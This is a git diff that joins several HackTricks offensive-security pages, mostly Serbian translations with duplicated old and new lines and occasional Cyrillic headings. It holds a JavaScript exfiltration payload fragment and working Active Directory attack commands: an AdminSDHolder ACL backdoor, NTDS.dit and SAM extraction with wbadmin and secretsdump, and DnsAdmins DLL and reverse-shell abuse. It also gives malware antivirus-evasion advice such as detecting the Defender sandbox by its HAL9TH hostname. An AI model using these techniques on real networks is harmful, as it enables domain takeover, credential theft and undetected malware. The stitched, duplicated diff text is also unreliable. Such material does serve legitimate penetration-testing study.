{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -150,7 +169,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -12,6 +12,10 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript ```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data)) exfil_info("onmessage", encode(e.data))
} }
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,17 +15,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Pažljivo poznate grupe sa administratorskim privilegijama ## Pažljivo poznate grupe sa administratorskim privilegijama
* **Administratori** * **Administratori**
* **Domen Administratori** * **Administratori domena**
* **Preduzeće Administratori** * **Administratori preduzeća**
## Operatori naloga ## Operatori naloga
Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalno prijavljivanje na Kontroler domena (DC). Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalno prijavljivanje na kontroler domena (DC).
Da bi se identifikovali članovi ove grupe, izvršava se sledeća komanda: Da bi identifikovao članove ove grupe, izvršava se sledeća komanda:
```powershell ```powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse Get-NetGroupMember -Identity "Account Operators" -Recurse
``` ```
@ -35,7 +42,7 @@ Dodavanje novih korisnika je dozvoljeno, kao i lokalna prijava na DC01.
Access Control List (ACL) grupe **AdminSDHolder** je ključna jer postavlja dozvole za sve "zaštićene grupe" unutar Active Directory-a, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava bezbednost ovih grupa sprečavanjem neovlašćenih izmena. Access Control List (ACL) grupe **AdminSDHolder** je ključna jer postavlja dozvole za sve "zaštićene grupe" unutar Active Directory-a, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava bezbednost ovih grupa sprečavanjem neovlašćenih izmena.
Napadač bi mogao da iskoristi ovo tako što bi izmenio ACL grupe **AdminSDHolder**, dodeljujući pune dozvole standardnom korisniku. Ovo bi efikasno dalo tom korisniku punu kontrolu nad svim zaštićenim grupama. Ako se dozvole ovog korisnika izmenjuju ili uklanjaju, one bi se automatski ponovo uspostavile u roku od sat vremena zbog dizajna sistema. Napadač bi mogao da iskoristi ovo tako što bi izmenio ACL grupe **AdminSDHolder**, dodeljujući pune dozvole standardnom korisniku. Ovo bi efikasno dalo tom korisniku punu kontrolu nad svim zaštićenim grupama. Ako se dozvole ovog korisnika promene ili uklone, one bi se automatski vratile u roku od sat vremena zbog dizajna sistema.
Komande za pregled članova i izmenu dozvola uključuju: Komande za pregled članova i izmenu dozvola uključuju:
```powershell ```powershell
@ -43,9 +50,9 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
``` ```
A script is available to expedite the restoration process: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). Dostupan je skript za ubrzanje procesa vraćanja: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
For more details, visit [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). Za više detalja, posetite [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD Recycle Bin ## AD Recycle Bin
@ -73,11 +80,11 @@ Da biste naveli članove grupe, izvršite:
```powershell ```powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse Get-NetGroupMember -Identity "Backup Operators" -Recurse
``` ```
### Lokalni Napad ### Локални Напад
Da bi se iskoristile ove privilegije lokalno, koriste se sledeći koraci: Да би се локално искористиле ове привилегије, користе се следећи кораци:
1. Uvezi potrebne biblioteke: 1. Увоз потребних библиотека:
```bash ```bash
Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeCmdLets.dll
@ -128,7 +135,7 @@ reg save HKLM\SAM SAM.SAV
```shell-session ```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
``` ```
#### Using wbadmin.exe #### Koristeći wbadmin.exe
1. Postavite NTFS datotečni sistem za SMB server na mašini napadača i keširajte SMB akreditive na cilјnoj mašini. 1. Postavite NTFS datotečni sistem za SMB server na mašini napadača i keširajte SMB akreditive na cilјnoj mašini.
2. Koristite `wbadmin.exe` za sistemsku rezervnu kopiju i ekstrakciju `NTDS.dit`: 2. Koristite `wbadmin.exe` za sistemsku rezervnu kopiju i ekstrakciju `NTDS.dit`:
@ -139,7 +146,7 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
``` ```
Za praktičnu demonstraciju, pogledajte [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). Za praktičnu demonstraciju, pogledajte [DEMO VIDEO SA IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins ## DnsAdmins
@ -179,7 +186,7 @@ sc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team. For more details on this attack vector, refer to ired.team.
#### Mimilib.dll #### Mimilib.dll
Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da izvršava specifične komande ili reverzne shelove. [Pogledajte ovaj post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) za više informacija. Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da izvršava specifične komande ili reverzne shelove. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
### WPAD Record for MitM ### WPAD Record for MitM
DnsAdmins mogu manipulisati DNS zapisima da bi izveli napade Man-in-the-Middle (MitM) kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranih upita. Alati poput Responder ili Inveigh mogu se koristiti za lažiranje i hvatanje mrežnog saobraćaja. DnsAdmins mogu manipulisati DNS zapisima da bi izveli napade Man-in-the-Middle (MitM) kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranih upita. Alati poput Responder ili Inveigh mogu se koristiti za lažiranje i hvatanje mrežnog saobraćaja.
@ -198,7 +205,7 @@ Ova grupa može da menja DACL-ove na objektu domena, potencijalno dodeljujući D
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
``` ```
## Hyper-V Administratori ## Hyper-V Administratori
Hyper-V Administratori imaju potpuni pristup Hyper-V, što se može iskoristiti za preuzimanje kontrole nad virtuelizovanim domen kontrolerima. Ovo uključuje kloniranje aktivnih DC-ova i vađenje NTLM hash-eva iz NTDS.dit datoteke. Hyper-V Administratori imaju potpuni pristup Hyper-V, što se može iskoristiti za preuzimanje kontrole nad virtuelizovanim Domen kontrolerima. Ovo uključuje kloniranje aktivnih DC-ova i vađenje NTLM hash-eva iz NTDS.dit datoteke.
### Primer Iskorišćavanja ### Primer Iskorišćavanja
Mozilla Maintenance Service u Firefox-u može biti iskorišćen od strane Hyper-V Administratora za izvršavanje komandi kao SYSTEM. Ovo uključuje kreiranje tvrdog linka do zaštićene SYSTEM datoteke i zamenu sa zlonamernim izvršnim fajlom: Mozilla Maintenance Service u Firefox-u može biti iskorišćen od strane Hyper-V Administratora za izvršavanje komandi kao SYSTEM. Ovo uključuje kreiranje tvrdog linka do zaštićene SYSTEM datoteke i zamenu sa zlonamernim izvršnim fajlom:
@ -211,12 +218,12 @@ Note: Eksploatacija hard linkova je ublažena u nedavnim Windows ažuriranjima.
## Organizacija Upravljanje ## Organizacija Upravljanje
U okruženjima gde je **Microsoft Exchange** implementiran, posebna grupa poznata kao **Organizacija Upravljanje** ima značajne mogućnosti. Ova grupa ima privilegiju da **pristupa poštanskim sandučićima svih korisnika domena** i održava **potpunu kontrolu nad 'Microsoft Exchange Bezbednosnim Grupama'** Organizacione Jedinice (OU). Ova kontrola uključuje **`Exchange Windows Permissions`** grupu, koja se može iskoristiti za eskalaciju privilegija. U okruženjima gde je **Microsoft Exchange** implementiran, posebna grupa poznata kao **Organizacija Upravljanje** ima značajne mogućnosti. Ova grupa ima privilegiju da **pristupa poštanskim sandučićima svih korisnika domena** i održava **potpunu kontrolu nad 'Microsoft Exchange Security Groups'** Organizacijskom Jedinicom (OU). Ova kontrola uključuje **`Exchange Windows Permissions`** grupu, koja se može iskoristiti za eskalaciju privilegija.
### Eksploatacija Privilegija i Komande ### Eksploatacija Privilegija i Komande
#### Operateri Štampe #### Print Operatori
Članovi grupe **Operateri Štampe** imaju nekoliko privilegija, uključujući **`SeLoadDriverPrivilege`**, koja im omogućava da **se lokalno prijave na Kontroler Domena**, isključe ga i upravljaju štampačima. Da bi iskoristili ove privilegije, posebno ako **`SeLoadDriverPrivilege`** nije vidljiv u neuzdignutom kontekstu, potrebno je zaobići Kontrolu Korisničkog Naloga (UAC). Članovi grupe **Print Operatori** su obdareni nekoliko privilegija, uključujući **`SeLoadDriverPrivilege`**, koja im omogućava da **se lokalno prijave na Kontroler Domena**, isključe ga i upravljaju štampačima. Da bi iskoristili ove privilegije, posebno ako **`SeLoadDriverPrivilege`** nije vidljiv u neuzdignutom kontekstu, potrebno je zaobići Kontrolu Korisničkog Naloga (UAC).
Da biste naveli članove ove grupe, koristi se sledeća PowerShell komanda: Da biste naveli članove ove grupe, koristi se sledeća PowerShell komanda:
```powershell ```powershell
@ -230,7 +237,7 @@ Za detaljnije tehnike eksploatacije vezane za **`SeLoadDriverPrivilege`**, treba
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
``` ```
Dalje informacije o eksploataciji RDP-a mogu se naći u posvećenim pentesting resursima. Dalje informacije o iskorišćavanju RDP-a mogu se naći u posvećenim pentesting resursima.
#### Korisnici za daljinsko upravljanje #### Korisnici za daljinsko upravljanje
Članovi mogu pristupiti računarima putem **Windows Remote Management (WinRM)**. Enumeracija ovih članova se postiže kroz: Članovi mogu pristupiti računarima putem **Windows Remote Management (WinRM)**. Enumeracija ovih članova se postiže kroz:
@ -241,7 +248,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
Za tehnike eksploatacije povezane sa **WinRM**, treba konsultovati specifičnu dokumentaciju. Za tehnike eksploatacije povezane sa **WinRM**, treba konsultovati specifičnu dokumentaciju.
#### Server Operators #### Server Operators
Ova grupa ima dozvole za izvođenje raznih konfiguracija na kontrolerima domena, uključujući privilegije za pravljenje rezervnih kopija i vraćanje, promenu sistemskog vremena i isključivanje sistema. Da biste nabrojali članove, komanda koja se koristi je: Ova grupa ima dozvole za izvođenje raznih konfiguracija na kontrolerima domena, uključujući privilegije za pravljenje rezervnih kopija i vraćanje, promenu sistemskog vremena i isključivanje sistema. Da biste nabrojali članove, data je sledeća komanda:
```powershell ```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse Get-NetGroupMember -Identity "Server Operators" -Recurse
``` ```
@ -262,6 +269,13 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) * [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) * [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,37 +1,43 @@
# Antivirus (AV) Bypass # Antivirus (AV) Bypass
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
**Ovu stranicu je napisao** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!** **Ovu stranicu je napisao** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **AV Evasion Methodology** ## **AV Evasion Methodology**
Trenutno, AV koriste različite metode za proveru da li je datoteka maliciozna ili ne, statičku detekciju, dinamičku analizu, i za naprednije EDR-ove, analizu ponašanja. Trenutno, AV koristi različite metode za proveru da li je datoteka maliciozna ili ne, statičku detekciju, dinamičku analizu, i za naprednije EDR-ove, analizu ponašanja.
### **Statička detekcija** ### **Statička detekcija**
Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili nizova bajtova u binarnom fajlu ili skripti, kao i ekstrakcijom informacija iz same datoteke (npr. opis datoteke, ime kompanije, digitalni potpisi, ikona, kontrolna suma, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno analizirani i označeni kao maliciozni. Postoji nekoliko načina da se zaobiđe ovakva vrsta detekcije: Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili nizova bajtova u binarnom ili skriptnom fajlu, kao i ekstrakcijom informacija iz same datoteke (npr. opis datoteke, ime kompanije, digitalni potpisi, ikona, kontrolna suma, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno analizirani i označeni kao maliciozni. Postoji nekoliko načina da se zaobiđe ova vrsta detekcije:
* **Enkripcija** * **Enkripcija**
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader da dekriptuje i pokrene program u memoriji. Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader za dekripciju i pokretanje programa u memoriji.
* **Obfuskacija** * **Obfuskacija**
Ponekad je sve što treba da uradite promeniti neke stringove u vašem binarnom fajlu ili skripti da biste prošli pored AV, ali ovo može biti dugotrajan zadatak u zavisnosti od onoga što pokušavate da obfuskate. Ponekad je sve što treba da uradite da promenite neke stringove u vašem binarnom ili skriptnom fajlu da biste ga prošli AV, ali ovo može biti dugotrajan zadatak u zavisnosti od onoga što pokušavate da obfuskate.
* **Prilagođeni alati** * **Prilagođeni alati**
@ -45,17 +51,17 @@ Toplo preporučujem da pogledate ovu [YouTube plejlistu](https://www.youtube.com
### **Dinamička analiza** ### **Dinamička analiza**
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS-u, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandboksove. Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
* **Sleep pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih sleep-ova može ometati analizu binarnih fajlova. Problem je što mnogi AV-ovi sandboksovi mogu jednostavno preskočiti sleep u zavisnosti od toga kako je implementirano. * **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
* **Proveravanje resursa mašine** Obično sandboksovi imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne mora sve biti implementirano u sandboksu. * **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne sve će biti implementirano u sandbox-u.
* **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da se zatvori. * **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da izađe.
Ispostavlja se da je ime računara Microsoft Defender-ovog sandboks-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandboks-a, tako da možete naterati svoj program da se zatvori. Ispostavlja se da je ime računara Microsoft Defender-ovog Sandbox-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandbox-a, tako da možete naterati svoj program da izađe.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure> <figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za borbu protiv sandboksova Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za borbu protiv sandbox-a
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanal</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanal</p></figcaption></figure>
@ -63,25 +69,25 @@ Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkr
Na primer, ako želite da dump-ujete LSASS, **da li zaista morate koristiti mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS. Na primer, ako želite da dump-ujete LSASS, **da li zaista morate koristiti mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malver-a od strane AV-a i EDR-a, dok je sam projekat super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete. Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malvera od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
{% hint style="info" %} {% hint style="info" %}
Kada modifikujete svoje payload-e za evaziju, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje evazije na duže staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom. Kada modifikujete svoje payload-e za evaziju, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje evazije na duži rok. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
{% endhint %} {% endhint %}
## EXEs vs DLLs ## EXEs vs DLLs
Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje detektovane** i analizirane, tako da je to vrlo jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno). Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno).
